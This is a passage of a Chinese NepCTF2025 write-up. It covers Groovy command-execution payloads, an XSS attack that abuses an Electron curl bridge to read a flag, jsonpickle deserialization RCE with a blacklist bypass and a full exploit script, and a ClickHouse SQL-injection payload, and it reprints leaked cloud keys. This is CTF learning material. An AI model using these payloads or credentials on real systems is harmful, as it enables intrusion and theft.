NepCTF2025

GooGooVVVY

"".class.forName("java.lang.Runtime").getRuntime().exec("env").text

or

this.class.classLoader.loadClass("java.lang.Runtime").getRuntime().exec("env").text

or

proc = ['sh','-c','env'] as ProcessBuilder
proc?.start()?.text

or

java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("env").getText()

or

return "".class
       .forName("java.lang.Runtime")
       .getMethod("getRuntime", [] as Class[])
       .invoke(null, null)
       .exec("env")
       .inputStream.text

fakeXSS

将下载的客户端改为 zip 并解压可以发现 $PLUGINSDIR\app-64.7z\LICENSE.electron.txt ，可推测客户端采用的是 Electron 框架，通过 WinAsar 解包后得到 main.js 如下。

const { app, BrowserWindow, ipcMain } = require('electron');
const path = require('path');
const { exec } = require('child_process');

let mainWindow = null;

function createWindow() {
  mainWindow = new BrowserWindow({
    width: 1600,
    height: 1200,
    webPreferences: {
      preload: path.join(__dirname, 'preload.js'),
      contextIsolation: true,
    }
  });

  // 默认加载本地输入页面
  mainWindow.loadFile('index.html');
}

app.whenReady().then(createWindow);

// 接收用户输入的地址并加载它
ipcMain.handle('load-remote-url', async (event, url) => {

  if (mainWindow) {
    mainWindow.loadURL(url);
  }
});

ipcMain.handle('curl', async (event, url) => {
  return new Promise((resolve) => {

    const cmd = `curl -L "${url}"`;

    exec(cmd, (error, stdout, stderr) => {
      if (error) {
        return resolve({ success: false, error: error.message });
      }
      resolve({ success: true, data: stdout });
    });
  });
});

通过 Web 中注册账号，登录账号，存在个人资料修改页面，通过 BP 抓包发现上传头像时泄露了腾讯云 COS 的 KEY。

{"Token":"********","TmpSecretId":"**********","TmpSecretKey":"**********","auth":"**********"}

通过 Web 页面中的 JavaScript 代码可知存储桶 Bucket 和 Region。

// 加载头像
async function loadAvatar() {
    try {
        const bucket = 'test-1360802834';
        const region = 'ap-guangzhou';
        const avatarKey = `picture/${user.uuid}.png`;
        const avatarUrl = `https://${bucket}.cos.${region}.myqcloud.com/${avatarKey}`;
        // 发送不带 Authorization 和 x-cos-security-token 头的 HEAD 请求
        const response = await fetch(avatarUrl, {
            method: 'HEAD'
        });
        if (response.ok) {
            // 头像存在，显示它
            avatarImg.src = `${avatarUrl}?t=${Date.now()}`;
            uploadStatus.textContent = '已上传头像';
        } else {
            // 头像不存在，显示默认头像
            avatarImg.src = '/default/default.png';
            uploadStatus.textContent = '未上传头像';
        }
    } catch (error) {
        console.error('加载头像失败:', error);
        uploadStatus.textContent = '加载头像失败';
    }
}

通过 pip install -U cos-python-sdk-v5 -i https://mirrors.aliyun.com/pypi/simple/ 安装 Python SDK。

from qcloud_cos import CosConfig
from qcloud_cos import CosS3Client
import logging
import os

# 配置日志
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

# 临时凭证信息
credentials = {
"Token":"******","TmpSecretId":"******","TmpSecretKey":"******",
}

# 存储桶配置
bucket_name = 'test-1360802834'
region = 'ap-guangzhou'

# 配置COS客户端
config = CosConfig(
    Region=region,
    SecretId=credentials["TmpSecretId"],
    SecretKey=credentials["TmpSecretKey"],
    Token=credentials["Token"]
)

# 初始化客户端
client = CosS3Client(config)

def list_files_for_download():
    """列出可供下载的文件"""
    try:
        print(f"\n正在列出存储桶 {bucket_name} 中的文件...")
        marker = ""
        file_list = []
        
        while True:
            response = client.list_objects(
                Bucket=bucket_name,
                MaxKeys=100,
                Marker=marker
            )
            
            if 'Contents' in response:
                for obj in response['Contents']:
                    if not obj['Key'].endswith('/'):  # 排除目录
                        file_list.append(obj['Key'])
                        print(f"{len(file_list)}. {obj['Key']} (大小: {obj['Size']} bytes)")
            
            if response.get('IsTruncated', 'false') == 'false':
                break
                
            marker = response.get('NextMarker', '')
        
        return file_list
        
    except Exception as e:
        print(f"列出文件时出错: {str(e)}")
        return []

def download_file(cos_key, local_path=None):
    """
    下载文件
    :param cos_key: COS上的文件路径
    :param local_path: 本地保存路径(可选)
    """
    try:
        if local_path is None:
            # 如果没有指定本地路径，使用文件名作为默认路径
            local_path = os.path.basename(cos_key)
        print(local_path)
        # 创建目录(如果需要)
        # os.makedirs(os.path.dirname(local_path), exist_ok=True)
        
        print(f"\n正在下载 {cos_key} 到 {local_path}...")
        print(cos_key)
        # 执行下载
        response = client.download_file(
            Bucket=bucket_name,
            Key=cos_key,
            DestFilePath=local_path
        )
        print(response)
        print(f"下载成功! 文件保存到: {os.path.abspath(local_path)}")
        return True
        
    except Exception as e:
        raise

def download_file_with_progress(cos_key, local_path=None):
    """
    带进度显示的下载文件
    :param cos_key: COS上的文件路径
    :param local_path: 本地保存路径(可选)
    """
    try:
        if local_path is None:
            local_path = os.path.basename(cos_key)
        
        print(f"\n正在下载 {cos_key} 到 {local_path}...")
        
        # 获取文件大小用于显示进度
        head_response = client.head_object(
            Bucket=bucket_name,
            Key=cos_key
        )
        total_size = int(head_response['Content-Length'])
        
        # 回调函数显示进度
        def progress_callback(consumed_bytes, total_bytes):
            percent = int(100 * (consumed_bytes / total_bytes))
            print(f"\r下载进度: {percent}% ({consumed_bytes}/{total_bytes} bytes)", end='', flush=True)
        
        # 执行下载
        response = client.download_file(
            Bucket=bucket_name,
            Key=cos_key,
            DestFilePath=local_path,
            PartSize=10*1024*1024,  # 分块大小(10MB)
            MAXThread=5,  # 并发线程数
            ProgressCallback=progress_callback
        )
        
        print("\n下载完成!")
        return True
        
    except Exception as e:
        print(f"\n下载文件 {cos_key} 时出错: {str(e)}")
        return False

if __name__ == "__main__":
    print("===== 腾讯云 COS 文件下载工具 =====")
    print(f"使用临时密钥访问存储桶: {bucket_name}")
    
    # 列出文件供选择
    files = list_files_for_download()
    
    if not files:
        print("\n存储桶中没有可供下载的文件")
    else:
        # 让用户选择要下载的文件
        try:
            selection = input("\n请输入要下载的文件编号(输入0退出): ")
            if selection == '0':
                exit()
            
            selection = int(selection) - 1
            if 0 <= selection < len(files):
                selected_file = files[selection]
                
                # 获取本地保存路径
                default_name = os.path.basename(selected_file)
                local_path = input(f"输入本地保存路径(默认: {default_name}): ") or default_name
                
                # 选择下载方式
                print("\n选择下载方式:")
                print("1. 普通下载")
                print("2. 带进度显示的分块下载(适合大文件)")
                method = input("请输入选项(默认1): ") or '1'
                
                if method == '1':
                    download_file(selected_file, local_path)
                else:
                    download_file_with_progress(selected_file, local_path)
            else:
                print("输入无效，请选择正确的文件编号")
        except ValueError:
            print("请输入有效的数字编号")
    
print("\n程序执行完毕")

"""
140. www/flag.txt (大小: 35 bytes)
141. www/server_bak.js (大小: 8914 bytes)
"""

可以发现存在两个文件。

https://test-1360802834.cos.ap-guangzhou.myqcloud.com/www/flag.txt

fake{看看www/server_bak.js对象}

https://test-1360802834.cos.ap-guangzhou.myqcloud.com/www/server_bak.js

server_bak.js

const express = require('express');
const session = require('express-session');
const bodyParser = require('body-parser');
const crypto = require('crypto');
const tencentcloud = require("tencentcloud-sdk-nodejs");
const path = require('path');
const fs = require('fs');
const { v4: uuidv4 } = require('uuid');
const { execFile } = require('child_process');
const he = require('he');


const app = express();
const PORT = 3000;

app.use((req, res, next) => {
  res.setHeader('Access-Control-Allow-Origin', '*');
  res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
  res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
  res.setHeader('Access-Control-Allow-Credentials', 'true');
  next();
});

// 配置会话
app.use(session({
  secret: 'ctf-secret-key_023dfpi0e8hq',
  resave: false,
  saveUninitialized: true,
  cookie: { secure: false , httpOnly: false}
}));

app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));

// 用户数据库
const users = {'admin': { password: 'nepn3pctf-game2025', role: 'admin', uuid: uuidv4(), bio: '' }};
// 存储登录页面背景图片 URL
let loginBgUrl = '';

// STS 客户端配置
const StsClient = tencentcloud.sts.v20180813.Client;
const clientConfig = {
  credential: {
    secretId: "AKIDRkvufDXeZJpB4zjHbjeOxIQL3Yp4EBvR",
    secretKey: "NXUDi2B7rOMAl8IF4pZ9d9UdmjSzKRN6",
  },
  region: "ap-guangzhou",
  profile: {
    httpProfile: {
      endpoint: "sts.tencentcloudapi.com",
    },
  },
};
const client = new StsClient(clientConfig);

// 注册接口
app.post('/api/register', (req, res) => {
  const { username, password } = req.body;
  if (users[username]) {
    return res.status(409).json({ success: false, message: '用户名已存在' });
  }
  const uuid = uuidv4();
  users[username] = { password, role: 'user', uuid, bio: '' };
  res.json({ success: true, message: '注册成功' });
});

// 登录页面
app.get('/', (req, res) => {
  let loginHtml = fs.readFileSync(path.join(__dirname, 'public', 'login.html'), 'utf8');
  if (loginBgUrl) {
    const key = loginBgUrl.replace('/uploads/', 'uploads/');
    const fileUrl = `http://ctf.mudongmudong.com/${key}`;

    const iframeHtml = `<iframe id="backgroundframe" src="${fileUrl}" style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: -1; border: none;"></iframe>`;
    loginHtml = loginHtml.replace('</body>', `${iframeHtml}</body>`);
  }
  res.send(loginHtml);
});



// 登录接口
app.post('/api/login', (req, res) => {
  const { username, password } = req.body;
  const user = users[username];

  if (user && user.password === password) {
    req.session.user = { username, role: user.role, uuid: user.uuid };
    res.json({ success: true, role: user.role });
  } else {
    res.status(401).json({ success: false, message: '认证失败' });
  }
});

// 检查用户是否已登录
function ensureAuthenticated(req, res, next) {
  if (req.session.user) {
    next();
  } else {
    res.status(401).json({ success: false, message: '请先登录' });
  }
}

// 获取用户信息
app.get('/api/user', ensureAuthenticated, (req, res) => {
  const user = users[req.session.user.username];
  res.json({ username: req.session.user.username, role: req.session.user.role, uuid: req.session.user.uuid, bio: user.bio });
});

// 获取头像临时密钥
app.get('/api/avatar-credentials', ensureAuthenticated, async (req, res) => {
  const params = {
    Policy: JSON.stringify({
      version: "2.0",
      statement: [
        {
          effect: "allow",
          action: ["cos:PutObject"],
          resource: [
            `qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/picture/${req.session.user.uuid}.png`
          ],
          Condition: {
            numeric_equal: {
              "cos:request-count": 5
            },
            numeric_less_than_equal: {
              "cos:content-length": 10485760  // 10MB 大小限制
            }
          }
        },
        {
          effect: "allow",
          action: ["cos:GetBucket"],
          resource: [
            "qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/*"
          ]
        }
      ]
    }),
    DurationSeconds: 1800,
    Name: "avatar-upload-client"
  };

  try {
    const response = await client.GetFederationToken(params);
    const auth = Buffer.from(JSON.stringify(params.Policy)).toString('base64');
    res.json({ ...response.Credentials, auth });
  } catch (err) {
    console.error("获取头像临时密钥失败:", err);
    res.status(500).json({ error: '获取临时密钥失败' });
  }
});

// 获取文件上传临时密钥（管理员）
app.get('/api/file-credentials', ensureAuthenticated, async (req, res) => {
  if (req.session.user.role !== 'admin') {
    return res.status(403).json({ error: '权限不足' });
  }

  const params = {
    Policy: JSON.stringify({
      version: "2.0",
      statement: [
        {
          effect: "allow",
          action: ["cos:PutObject"],
          resource: [
            `qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/uploads/${req.session.user.uuid}/*`
          ],
          Condition: {
            numeric_equal: {
              "cos:request-count": 5
            },
            numeric_less_than_equal: {
              "cos:content-length": 10485760  
            }
          }
        },
        {
          effect: "allow",
          action: ["cos:GetBucket"],
          resource: [
            "qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/*"
          ]
        }
      ]
    }),
    DurationSeconds: 1800,
    Name: "file-upload-client"
  };

  try {
    const response = await client.GetFederationToken(params);
    const auth = Buffer.from(JSON.stringify(params.Policy)).toString('base64');
    res.json({ ...response.Credentials, auth });
  } catch (err) {
    console.error("获取文件临时密钥失败:", err);
    res.status(500).json({ error: '获取临时密钥失败' });
  }
});

// 保存个人简介（做好 XSS 防护）
app.post('/api/save-bio', ensureAuthenticated, (req, res) => {
  const { bio } = req.body;
  const sanitizedBio = he.encode(bio);
  const user = users[req.session.user.username];
  user.bio = sanitizedBio;
  res.json({ success: true, message: '个人简介保存成功' });
});

// 退出登录
app.post('/api/logout', ensureAuthenticated, (req, res) => {
  req.session.destroy();
  res.json({ success: true });
});

// 设置登录页面背景
app.post('/api/set-login-bg', ensureAuthenticated, async (req, res) => {
  if (req.session.user.role !== 'admin') {
    return res.status(403).json({ success: false, message: '权限不足' });
  }
  const { key } = req.body;
  bgURL = key;
  try {
    const fileUrl = `http://ctf.mudongmudong.com/${bgURL}`;
    const response = await fetch(fileUrl);
    if (response.ok) {
        const content = response.text();
    } else {
        console.error('获取文件失败:', response.statusText);
        return res.status(400).json({ success: false, message: '获取文件内容失败' });
    }
  } catch (error) {
      return res.status(400).json({ success: false, message: '打开文件失败' });
  }
  loginBgUrl = key;
  res.json({ success: true, message: '背景设置成功' });
});



app.get('/api/bot', ensureAuthenticated, (req, res) => {

  if (req.session.user.role !== 'admin') {
    return res.status(403).json({ success: false, message: '权限不足' });
  }

  const scriptPath = path.join(__dirname, 'bot_visit');

  // bot 将会使用客户端软件访问 http://127.0.1:3000/ ，但是bot可不会带着他的秘密去访问哦

  execFile(scriptPath, ['--no-sandbox'], (error, stdout, stderr) => {
    if (error) {
      console.error(`bot visit fail: ${error.message}`);
      return res.status(500).json({ success: false, message: 'bot visit failed' });
    }

    console.log(`bot visit success:\n${stdout}`);
    res.json({ success: true, message: 'bot visit success' });
  });
});

// 下载客户端软件
app.get('/downloadClient', (req, res) => {
  const filePath = path.join(__dirname, 'client_setup.zip');

  if (!fs.existsSync(filePath)) {
    return res.status(404).json({ success: false, message: '客户端文件不存在' });
  }

  res.download(filePath, 'client_setup.zip', (err) => {
    if (err) {
      console.error('client download error: ', err);
      return res.status(500).json({ success: false, message: '下载失败' });
    } else {
    }
  });
});

// 启动服务器
app.listen(PORT, () => {
  console.log(`服务器运行在端口 ${PORT}`);
});

在登录页面接口中，存在一个 <iframe> 标签，并允许直接将用户的输入原封不动进行输出，可以结合设置登录页面背景接口来发起攻击。由于 Bot 并不会携带秘密（也就是 Cookie），因此需要通过 document.cookie 为 Bot 写入一个账号 admin 的 Cookie 进去，然后利用 window.electronAPI.curl （前提是 Bot 使用提供的 Electron 客户端访问）拿出 flag 内容并通过保存个人简介接口将 flag 写入到账号 admin 的简介中。

// 登录页面
app.get('/', (req, res) => {
  let loginHtml = fs.readFileSync(path.join(__dirname, 'public', 'login.html'), 'utf8');
  if (loginBgUrl) {
    const key = loginBgUrl.replace('/uploads/', 'uploads/');
    const fileUrl = `http://ctf.mudongmudong.com/${key}`;

    const iframeHtml = `<iframe id="backgroundframe" src="${fileUrl}" style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: -1; border: none;"></iframe>`;
    loginHtml = loginHtml.replace('</body>', `${iframeHtml}</body>`);
  }
  res.send(loginHtml);
});

很显然这里把我们传进来的fileurl是直接拼接进去的，所以这里xss就行了

fetch() 方法默认是不携带 Cookie 。

具体 JavaScript 代码如下。

document.cookie = 'connect.sid=s%3Ao93qeMzwrfLvUBBxG94TsMckuo9-LdG0.97efDsrL5mM5bEOghQuLC1KUgn3CE4j9NEZpmQuTCes';
window.electronAPI.curl('file:///flag').then(data => {
    fetch('/api/save-bio', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({
            'bio': JSON.stringify(data)
        })
    })
})

Payload 如下。

{"key":"x\" onload=\"document.cookie='connect.sid=s%3Ao93qeMzwrfLvUBBxG94TsMckuo9-LdG0.97efDsrL5mM5bEOghQuLC1KUgn3CE4j9NEZpmQuTCes';window.electronAPI.curl('file:///flag').then(data=>{fetch('/api/save-bio',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({'bio':JSON.stringify(data)})})})\" x=\""}

上传后的结果如下。

<iframe id="backgroundframe" src="https://ctf.mudongmudong.com/x" onload="document.cookie='connect.sid=s%3Ao93qeMzwrfLvUBBxG94TsMckuo9-LdG0.97efDsrL5mM5bEOghQuLC1KUgn3CE4j9NEZpmQuTCes';window.electronAPI.curl('file:///flag').then(data=>{fetch('/api/save-bio',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({'bio':JSON.stringify(data)})})})" x="" style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: -1; border: none;"></iframe>

设置登录背景图请求响应包如下。（若出现失败则可以多尝试几次，因为 https://ctf.mudongmudong.com/x 其实是无法访问的，也不知道为什么会判断为真）

POST /api/set-login-bg HTTP/1.1
Host: nepctf30-yfrc-xj2l-l3y8-z9ogmlq6d745.nepctf.com
Cookie: connect.sid=s%3Ao93qeMzwrfLvUBBxG94TsMckuo9-LdG0.97efDsrL5mM5bEOghQuLC1KUgn3CE4j9NEZpmQuTCes
Content-Type: application/json
Content-Length: 327

{"key":"x\" onload=\"document.cookie='connect.sid=s%3Ao93qeMzwrfLvUBBxG94TsMckuo9-LdG0.97efDsrL5mM5bEOghQuLC1KUgn3CE4j9NEZpmQuTCes';window.electronAPI.curl('file:///flag').then(data=>{fetch('/api/save-bio',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({'bio':JSON.stringify(data)})})})\" x=\""}


{"success":true,"message":"背景设置成功"}

访问 /api/bot ，请求响应包如下。

GET /api/bot HTTP/1.1
Host: nepctf30-yfrc-xj2l-l3y8-z9ogmlq6d745.nepctf.com
Cookie: connect.sid=s%3Ao93qeMzwrfLvUBBxG94TsMckuo9-LdG0.97efDsrL5mM5bEOghQuLC1KUgn3CE4j9NEZpmQuTCes


{"success":true,"message":"bot visit success"}

访问 /api/user ，得到 flag。（如果没有的话尝试多触发几次 /api/bot）

GET /api/user HTTP/1.1
Host: nepctf30-yfrc-xj2l-l3y8-z9ogmlq6d745.nepctf.com
Cookie: connect.sid=s%3Ao93qeMzwrfLvUBBxG94TsMckuo9-LdG0.97efDsrL5mM5bEOghQuLC1KUgn3CE4j9NEZpmQuTCes
Sec-Ch-Ua: "Chromium";v="125", "Not.A/Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://nepctf30-yfrc-xj2l-l3y8-z9ogmlq6d745.nepctf.com/dashboard.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i
Connection: keep-alive


{"username":"admin","role":"admin","uuid":"826ccaea-365e-4668-a3b4-0564e0d043b9","bio":"{"success":true,"data":"NepCTF{10362373-0da4-48c1-0f14-6a60934c227f}\\n"}"}

safe_bank

通过 关于我们 发现技术细节。

我们的平台使用Python Flask构建，并利用安全的会话管理系统。

我们使用以下技术：

- Python Flask作为Web框架
- JSON用于数据交换
- 使用jsonpickle的高级会话管理
- Base64编码用于Token传输

我们的会话令牌结构如下：
Session { 
  meta: { 
    user: "用户名",
    ts: 时间戳 
    } 
}

随机注册并登录，通过对 Cookies 进行 base64 解码发现内容如下。

{"py/object": "__main__.Session", "meta": {"user": "1234", "ts": 1753715060}}

通过修改 user 为 admin 尝试。

{"py/object": "__main__.Session", "meta": {"user": "admin", "ts": 1753715060}}

eyJweS9vYmplY3QiOiAiX19tYWluX18uU2Vzc2lvbiIsICJtZXRhIjogeyJ1c2VyIjogImFkbWluIiwgInRzIjogMTc1MzcxNTA2MH19

得到路径 /vault ，通过管理员账号 Cookie 访问发现是假的 flag。

通过如下 Payload 成功读取目录内容。

{
  "py/object": 
    "__main__.Session",
    "meta": {
      "user": {"py/object": "glob.glob", "py/newargs": ["/*"]},
      "ts": 1753715060
    }
}

['/run', '/bin', '/usr', '/etc', '/mnt', '/home', '/var', '/srv', '/sys', '/proc', '/sbin', '/lib64', '/media', '/opt', '/lib', '/dev', '/tmp', '/boot', '/root', '/flag', '/entrypoint.sh', '/readflag', '/app']

通过另外一个 Payload 如下成功发现 /flag 为空，说明 flag 在 /readflag 中，但 re 在黑名单中。

{
  "py/object": 
    "__main__.Session",
    "meta": {
      "user": {"py/object": "linecache.getlines", "py/newargs": ["/flag"]},
      "ts": 1753715060
    }
}

通过 Payload 如下能够获取源代码

{
  "py/object": 
    "__main__.Session",
    "meta": {
      "user": {"py/object": "linecache.getlines", "py/newargs": ["/app/app.py"]},
      "ts": 1753715060
    }
}

app.py

from flask import Flask, request, make_response, render_template, redirect, url_for
import jsonpickle
import base64
import json
import os
import time

app = Flask(__name__)
app.secret_key = os.urandom(24)

class Account:
    def __init__(self, uid, pwd):
        self.uid = uid
        self.pwd = pwd

class Session:
    def __init__(self, meta):
        self.meta = meta

users_db = [
    Account("admin", os.urandom(16).hex()),
    Account("guest", "guest")
]

def register_user(username, password):
    for acc in users_db:
        if acc.uid == username:
            return False
    users_db.append(Account(username, password))
    return True

FORBIDDEN = [
    'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
    'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
    'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\', 'posix',
    'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
    'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
    'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
    '__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__', 'pydoc',
    '__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]

def waf(serialized):
    try:
        data = json.loads(serialized)
        payload = json.dumps(data, ensure_ascii=False)
        for bad in FORBIDDEN:
            if bad in payload:
                return bad
        return None
    except:
        return "error"

@app.route('/')
def root():
    return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        confirm_password = request.form.get('confirm_password')
        
        if not username or not password or not confirm_password:
            return render_template('register.html', error="所有字段都是必填的。")
        
        if password != confirm_password:
            return render_template('register.html', error="密码不匹配。")
            
        if len(username) < 4 or len(password) < 6:
            return render_template('register.html', error="用户名至少需要4个字符，密码至少需要6个字符。")
        
        if register_user(username, password):
            return render_template('index.html', message="注册成功！请登录。")
        else:
            return render_template('register.html', error="用户名已存在。")
    
    return render_template('register.html')

@app.post('/auth')
def auth():
    u = request.form.get("u")
    p = request.form.get("p")
    for acc in users_db:
        if acc.uid == u and acc.pwd == p:
            sess_data = Session({'user': u, 'ts': int(time.time())})
            token_raw = jsonpickle.encode(sess_data)
            b64_token = base64.b64encode(token_raw.encode()).decode()
            resp = make_response("登录成功。")
            resp.set_cookie("authz", b64_token)
            resp.status_code = 302
            resp.headers['Location'] = '/panel'
            return resp
    return render_template('index.html', error="登录失败。用户名或密码无效。")

@app.route('/panel')
def panel():
    token = request.cookies.get("authz")
    if not token:
        return redirect(url_for('root', error="缺少Token。"))
    
    try:
        decoded = base64.b64decode(token.encode()).decode()
    except:
        return render_template('error.html', error="Token格式错误。")
    
    ban = waf(decoded)
    if ban:
        return render_template('error.html', error=f"请不要黑客攻击！{ban}")
    
    try:
        sess_obj = jsonpickle.decode(decoded, safe=True)
        meta = sess_obj.meta
        
        if meta.get("user") != "admin":
            return render_template('user_panel.html', username=meta.get('user'))
        
        return render_template('admin_panel.html')
    except Exception as e:
        return render_template('error.html', error=f"数据解码失败。")

@app.route('/vault')
def vault():
    token = request.cookies.get("authz")
    if not token:
        return redirect(url_for('root'))

    try:
        decoded = base64.b64decode(token.encode()).decode()
        if waf(decoded):
            return render_template('error.html', error="请不要尝试黑客攻击！")
        sess_obj = jsonpickle.decode(decoded, safe=True)
        meta = sess_obj.meta
        
        if meta.get("user") != "admin":
            return render_template('error.html', error="访问被拒绝。只有管理员才能查看此页面。")
            
        flag = "NepCTF{fake_flag_this_is_not_the_real_one}"
        return render_template('vault.html', flag=flag)
    except:
        return redirect(url_for('root'))

@app.route('/about')
def about():
    return render_template('about.html')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)

在 list 对象中，存在 clear() 方法，能够把整个列表内容都删了，详细如下。

import jsonpickle  
import json  
  
FORBIDDEN = [  
    'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',  
    'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',  
    'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\', 'posix',  
    'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',  
    'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',  
    'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',  
    '__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__', 'pydoc',  
    '__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'  
]  
  
def waf():  
    try:  
        for bad in FORBIDDEN:  
            if bad in str:  
                return bad  
        return None  
    except:  
        return "error"  
  
str = '{"py/object": "__main__.FORBIDDEN.clear", "py/newargs": []}'  
  
ban = waf()  
  
if ban:  
    print(ban)  
else:  
    print(jsonpickle.decode(str))  
  
print(FORBIDDEN)

"""
None
[]
"""

构造 Payload 如下。

{
  "py/object": 
    "__main__.Session",
    "meta": {
      "user": {"py/object": "__main__.FORBIDDEN.clear", "py/newargs": []},
      "ts": 1753715060
    }
}

None

此时就已经成功把黑名单全删了，通过 Payload 如下即可得到 flag。

{
  "py/object": 
    "__main__.Session",
    "meta": {
      "user": {"py/object": "subprocess.getoutput", "py/newargs": ["/readflag"]},
      "ts": 1753715060
    }
}

另一种方法

把/readflag执行结果写文件里面，然后用读文件的poc读出来
exp.py

import base64
import json
import requests

# 修改这里的配置
TARGET_URL = "https://nepctf30-y41b-mgvh-68lq-zhdrtbpjj218.nepctf.com/panel"
COMMAND = "import os;os.system('/readflag>/app/flag5.txt')"


def string_to_chr(s):
    return "+".join([f"chr({ord(c)})" for c in s])


def generate_payload(command):
    # 转换命令为chr()形式
    chr_command = string_to_chr(command)

    # 构造payload
    payload = {
        "py/object": "app.Session",
        "meta": {
            "user": {
                "py/object": "__builtin__.bytes",
                "py/newargs": {
                    "py/object": "__builtin__.map",
                    "py/newargs": [
                        {"py/function": "__builtin__.eval"},
                        [f"exec({chr_command})"],
                    ],
                },
            },
            "ts": 1753971621,
        },
    }

    # 转为JSON字符串
    json_payload = json.dumps(payload, ensure_ascii=False)

    # Base64编码
    b64_payload = base64.b64encode(json_payload.encode()).decode()

    return b64_payload


def send_request(url, payload):
    headers = {
        "Cookie": f"authz={payload}",
        "Pragma": "no-cache",
        "Cache-Control": "no-cache",
        "Sec-Ch-Ua": '"Not)A;Brand";v="8", "Chromium";v="138", "Microsoft Edge";v="138"',
        "Sec-Ch-Ua-Mobile": "?0",
        "Sec-Ch-Ua-Platform": '"Windows"',
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Dest": "document",
        "Accept-Encoding": "gzip, deflate, br",
        "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
        "Sec-Fetch-User": "?1",
        "Priority": "u=0, i",
        "Connection": "keep-alive",
    }

    try:
        response = requests.get(url, headers=headers, timeout=10)
        return response
    except Exception as e:
        print(f"请求失败: {e}")
        return None


if __name__ == "__main__":
    print(f"目标URL: {TARGET_URL}")
    print(f"执行命令: {COMMAND}")
    print("-" * 50)

    # 生成payload
    payload = generate_payload(COMMAND)
    print(f"生成的payload: {payload}")
    print()

    # 发送请求
    print("发送请求中...")
    response = send_request(TARGET_URL, payload)

    if response:
        print(f"状态码: {response.status_code}")
        print(f"响应长度: {len(response.text)}")
        print("响应内容:")
        print("-" * 30)
        print(response.text)
    else:
        print("请求失败！")

以及官方WP

{"py/object": "__main__.Session", "meta": {"user": {"py/object":"exceptions.eval","py/newargsex":[{"py/set":["exec(\"imp\"+\"ort subpro\"+\"cess;subpro\"+\"cessgeto\"+\"utput('/r\"+\"eadflag>/app/static/flag')\")"]},""]} , "ts": 114514}}

我难道不是sql注入天才吗

Hint: 后端数据库是 clickhouse ，黑名单字符串如下 preg_match('/select.*from|\(|or|and|union|except/is',$id) 。

通过传入 1 、2 、3 等等可以输出 id 为相应值的结果。

通过 BP 传入 id 发现输出了所有用户数据。

通过 BP 传入 name 发现输出了报错。

查询失败: There is no supertype for types UInt32, String because some of them are String\/FixedString\/Enum and some of them are not. (NO_COMMON_TYPE) 
IN:SELECT * 
            FROM users 
            WHERE id = name FORMAT JSON

通过 AI 可以发现得到这是典型 ClickHouse 错误信息，并且可以得到服务端中的注入点语句如下。

SELECT * FROM users WHERE id = {user_input} FORMAT JSON

通过 INTERSECT 和 LIKE 子句实现盲注，INTERSECT 子句实现计算两个查询的交集，但需要两个查询语句的列数量、类型和顺序一致，返回结果仅包括两个查询中重复的记录。

来解释下 Exp 中的 Payload。

payload_template = "id INTERSECT FROM system.databases AS inject JOIN users ON inject.name LIKE '{pattern}' SELECT users.id, users.name, users.email, users.age"

拼接后的 SQL 语句如下。

SELECT users.id, users.name, users.email, users.age
FROM users
WHERE users.id = id INTERSECT
